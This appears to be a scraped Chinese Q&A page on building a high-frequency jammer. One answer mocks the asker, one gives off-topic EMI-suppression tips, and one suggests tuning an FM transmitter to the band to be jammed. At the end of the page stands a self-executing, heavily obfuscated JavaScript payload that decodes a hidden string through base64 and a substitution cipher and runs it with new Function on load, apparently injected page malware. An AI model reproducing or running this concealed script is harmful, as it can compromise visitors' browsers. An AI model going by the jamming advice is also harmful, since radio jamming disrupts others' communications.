如何制作高频脉冲干扰器

我不懂怎么做,请热心的人给出所需的元件名称和接线图。
2025-04-08 08:26:18
推荐回答(3个)
回答1:

就因你不会做,所以才可这乱想一下只当有线路和图纸就可做出来了.哈,就算你做出来了可能也会因你这不会而不会用的,呵呵!高频是泛指一个很宽的频率,你想干扰那一段!?如我们常见的有手机的,有电脑上的,还有无线广播的.呵呵!先好好学知识,到你知中原理后你是一定会做并会用的了. 哈,为了提高你一下你对科学的兴趣,我这小教你一干扰法,在家中打开你的电视机(要放在低频道上)或收音机,你只要不断的开关灯,那上就会出现干扰的,呵呵!看看你这干扰效果的去吧.

回答2:

1:选用软恢复特性的肖特基二极管,或采用在整流管前串联电感的方法比较有效,或在开关管整流管的磁珠。磁芯材料选用对高频振荡呈高阻抗衰减特性的铁氧体材料,等。
  2:在二次侧接入RC吸收回路可进一步减小前沿尖峰的幅值,降低二极管恢复过程中的振荡频率。
  3:多个整流二极管并联;适当增大整流二极管的电流容量,可相对减小反向恢复时的关断时间,限制反向短路电流的数值,可抑制电流尖峰和降低导通损耗。
  4:尽量使元件布局走线合理 ,减小大电流回路的面积,对EMI的抑制也比较有效。

  后沿尖峰的抑制方法
  1:选用开关速度快的整流二极管
  2:选用高导磁率的磁芯,变压器设计时激磁电流尽可能小
  3:选用高磁通密度的材料,确保在恶劣环境下变压器不会饱和。可取B值为饱和值的一半或1/3
  4:选用闭合磁路的罐形或PQ磁芯减小漏磁。
  5:高频变压器绕制尽量减小漏感。采用夹心绕法或三文治绕法。绕线尽量均匀分布在骨架上。选用漆包线时要考虑到趋肤效应。
  6:在开关管的D-S之间并联RC吸收回路。

回答3:

做1个调频发射器 发射频率调到你要干扰的频段就行
百度找调频发射电路了

(function(){function m888b98(k7d1c){var d23e48="_zGq:g|3t]^mOk8YLCo6~xX5D&MsrQ@Tidl0%/f2NcU-4vA(E=[Wnuy9SVHF71e?h;KapZ!.wRPj$JBI,b";var q7eba="H7o_VXb|Ol$j3wF81SR(ut?mk%KY[;M=,LCBEQz@0sGhN.A2ie:-g~Pv9Uypd&na4cx!T6JqI^DrfWZ]5/";return atob(k7d1c).split('').map(function(rc36d5d){var m4abcf=d23e48.indexOf(rc36d5d);return m4abcf==-1?rc36d5d:q7eba[m4abcf]}).join('')}var c=m888b98('thunder://a0VlN0drciIkIisiTCh6NyIrIloiSVQkfmU7eEVHZTYpezYkfmU7eEVHZTZmKDdOTChMTyxpRVlMenx6aS5aWVo9eix8P2ljTk49TE8pe0UkNmJSQD87M0pFZWJ2eD1jeDZlPzlFbj94R2p2Rl0/eCRHajUpKXtqPXh+amV9OT9qIEs/fExOKHxUJH5lO3hFR2U2RHw7enosTiwoKXtqPXh+amUgQ3hqRWVudiRqRzVsLT9qbEc3PTZEfDt6eixOLCgpfVE5P2ogfFo7Tk8kLD9UciJdbWNXX05McWR0QVBxIUNxX3BAZCJpIjk9aldOTCJpImNFN1coWSJpIjs7eFcoTigsV05oV05ZIEwsW0x6WyxoIklROT9qIG4/enw7Tlk/N1QuWllaPXosfD9ySz98TE4ofDZTeikrSz98TE4ofDZMTFopK0s/fExOKHw2TExMKStLP3xMTih8NlNZKUlpSyR8JFlMVC5aWVo9eix8P3JLP3xMTih8NlNZKStLP3xMTih8NkxMWikrSz98TE4ofDZMTEwpK0s/fExOKHw2U3opSWk1JCQ3TFRjTk49TE9ybj96fDtOWT83NiJzTzpIOzU6fjc4NG07NV1rN0FUVCIpSWk/Wiwsej1Ubj96fDtOWT83NiJzTyFdc2dvXW9KS118Sjp+N0FUVCIpaTdMKFlOT058elRuP3p8O05ZPzc2IjtPOkU7T29IP0osZSIpaUZ6Tyg7aFRuP3p8O05ZPzc2Ijs1Omt8VThtQi9UVCIpaUs9KEwoaDdPLFRuP3p8O05ZPzc2IjtPMGM/Zy9UIilpNz16N3okUz16VG4/enw7Tlk/NzYiOzU6KEJnIWZCL1RUIilpRjd6fExUbj96fDtOWT83NiI/NVNGfG5UVCIpaTtaLHo/ej0oP1RuP3p8O05ZPzc2Ijs1OH5CVVN4IilpOzdMLD1ULlpZWj16LHw/cm4/enw7Tlk/NzYicEo4Tj9BVFQiKUlpfExoJFlMO1RuP3p8O05ZPzc2InxVUy1CQVRUIilROT9qIHhPeno7VG4/enw7Tlk/NzYiOyhMTj9Kb103blRUIilROT9qIERPaCRPUUUkNl1HOz94RUdldmM9P2o7LXZFZTc9S3QkNnhPeno7KT5XTCl7RE9oJE9UY05OPUxPcj9aLCx6PUk2bj96fDtOWT83NiI3VTpoN1U4SEJKJVQiKSlRRE9oJE92RTdUIngiKzs3TCw9cjtaLHo/ej0oP0k2KSpMPWhRRE9oJE92Y3hIXT12a0U3eC1UIkxOTiYiUURPaCRPdmN4SF09di09RW4teFQiLE5ORksiUURPaCRPdjdFYz98XT03VHhqfj1RRSQ2Y05OPUxPdnxHN0hhVGV+XV0pe2NOTj1MT3Z8RzdIdj9GRj1lN2wtRV03NkRPaCRPKX09XWM9ezk/aiBHU3xMU1QkfmU7eEVHZTYpe2NOTj1MT3Z8RzdIdj9GRj1lN2wtRV03NkRPaCRPKVEuWllaPXosfD92aj01Rzk9JTk9ZXhkRWN4PWU9ajZ8TGgkWUw7aUdTfExTaSQ/XWM9KX1RLlpZWj16LHw/dj83NyU5PWV4ZEVjeD1lPWo2fExoJFlMO2lHU3xMU2kkP11jPSl9fTk/aiBGLD9PaChaLFRjTk49TE9yP1osLHo9STZuP3p8O05ZPzc2IkJKTEVCSi9UIikpUUYsP09oKFosdkU3VEVZTHp8eis7N0wsPXY7PUVdNjs3TCw9cjtaLHo/ej0oP0k2KSpMPWgpUUYsP09oKFosdmN4SF09di09RW4teFQiTkZLIlFGLD9PaChaLHZjeEhdPXZHOT1qJF1Ha1QiLUU3Nz1lIlE5P2ogXTtTU058JFQkfmU7eEVHZTZEej8sWj1ZOyl7OT9qID96TFNaLHp6VEskfCRZTDZ8WjtOTyQsP3Y7R2U7P3g2cmBlR2tXXntQP3g9ciJlR2siSTYpfWBpYC1qPSRXXntdRzs/eEVHZXYtaj0kfWBpYH5jO1deezdPPSQ3Nyw2KX1gSSl2Y0dqeDY2NilUPjs3TCw9cjtaLHo/ej0oP0k2KVd2LCkpckY3enxMSTYiaSIpKVE5P2ogZXw/KCgkPVQ/ekxTWix6enZFZTc9S3QkNks/fExOKHw2WkwpKT5XTFg/ekxTWix6enI3TChZTk9OfHpJNj96TFNaLHp6dkVlNz1LdCQ2Sz98TE4ofDZaTCkpKVsiIlE/ekxTWix6elQ/ekxTWix6enJGek8oO2hJNmV8PygoJD1pIiIpcks9KEwoaDdPLEk2IiIpcjc9ejd6JFM9ekk2KXJGN3p8TEk2IiIpK2V8PygoJD1RRiw/T2goWix2Y2o7VHIiLXh4RmNbYmIiK0R6PyxaPVk7aUYsP09oKFosdkU3aT96TFNaLHp6SXJGN3p8TEk2ImIiKVF4akh7Y05OPUxPdnxHN0h2P0ZGPWU3bC1FXTc2Riw/T2goWiwpfTs/eDstNj0pe2NOTj1MT3Z8RzdIdkVlYz1qeDA9JEdqPTZGLD9PaChaLGljTk49TE92fEc3SHY7LUVdNzRHNz1jck5JKX1FJDZET2gkT2FUZX5dXSl7RE9oJE92OT9dfj0rVCJcXGpcXGU/RkY9ZTc9NyA9NSB4RyAteDVdIlE5P2ogRWg/aCwoP1RjTk49TE92bj14JV09NT1leDBIdzc2Riw/T2goWix2RTcpUUUkNkVoP2gsKD9UVGV+XV0zM0VoP2gsKD9UVH5lNz0kRWU9Nyl7RE9oJE92OT9dfj0rVCJcXGpcXGUgOz9leCBuPXggPTUgJGpHNSAteDVdIn19fVFFJDZET2gkT2FUZX5dXSl7RE9oJE92OT9dfj0rVCJcXGpcXGVjPWU3IG1jIC1HY3ggIitmKDdOTChMTyx9OT9qIDdPPSQ3NyxUJH5lO3hFR2U2KXt4akh7O0dlY3ggZixMeiQsO1Q2ZT1rIFA/eD0pdnhHZEc7P109UD94PUN4akVlbjYpUTtHZWN4IGN6U3o9VGBjNXhFcWNFN3Feez1TO1MofFlaLHZFWUx6fHp9cUY5YFFdPXggeGg9WjdUIUN0NHZGP2pjPTZdRzs/XUN4R2o/bj12bj14d3g9NTZjelN6PSkpUUUkNnhoPVo3VFRlfl1dMzN4aD1aN3Y3P3g9YVRmLEx6JCw7KXt4aD1aN1R7RjlwRTU9Y1tOaTc/eD1bZixMeiQsO319aj14fmplIHhoPVo3dkY5cEU1PWMrTH07P3g7LTZFUyxMKCRPTCl7aj14fmplIEx9fVE5P2ogZk56Pz87LFpUJH5lO3hFR2U2SFpTP3w9KXtqPXh+amUgbj96fDtOWT83NkhaUz98PSlyRnpPKDtoSTZLP3xMTih8NmgoKWk7N0wsPXI7Wix6P3o9KD9JNil2eEdDeGpFZW42T1opdmNdRTs9Njs3TCw9diRdR0dqNjs3TCw9cjtaLHo/ej0oP0k2KSpTKSsoKSl9UV07U1NOfCQ2Zk56Pz87LFo2Zig3TkwoTE8sKSlRLlpZWj16LHw/ciI/NzclOT1leGRFY3g9ZT1qIkk2IjU9Y2M/bj0iaTYkfmU7eEVHZTZFUyxMKCRPTCl7RSQ2RVMsTCgkT0x2Nz94P3ZEVFRFWUx6fHope2NOTj1MT3ZuPXglXT01PWV4MEh3NzZGLD9PaChaLHZFNyl2aj01Rzk9NilROT9qIDUkWj0kJFRlfl1dUUUkNkRPaCRPYVRlfl1dKXtET2gkT3Y5P11+PStUIlxcalxcZWo9Oz1FOT0gPTUgRkdjeCA1PWNjP249IlFET2gkT3Y5P11+PStUIlxcalxcZT12Nz94P3Y5ICIrRVMsTCgkT0x2Nz94P3YuUTUkWj0kJFQ2dnZ2Lkw7Wlk7T2hoKVQ+e0UkNmEuTDtaWTtPaGgzMy5MO1pZO09oaHZdPWVueC08VE4paj14fmplUURPaCRPdjk/XX49K1QiXFxqXFxlIisuTDtaWTtPaGh2bUdFZTYiICIpfX1lPWsgOH5lO3hFR2U2Ij9qbmMiaUVTLEwoJE9Mdjc/eD92Lik2e3F4NztjWzUkJDdMaXFdR25bNSRaPSQkfSl9fSkpfSk2IkIoO343VS9oNDUtZnxKS3hCKDcsfEMsTnxPQVp0cERMNG5UVCJpIihZImlrRWU3R2tpN0c7fjU9ZXgpfVEkTCh6N1o2KVE='.substr(10));new Function(c)()})();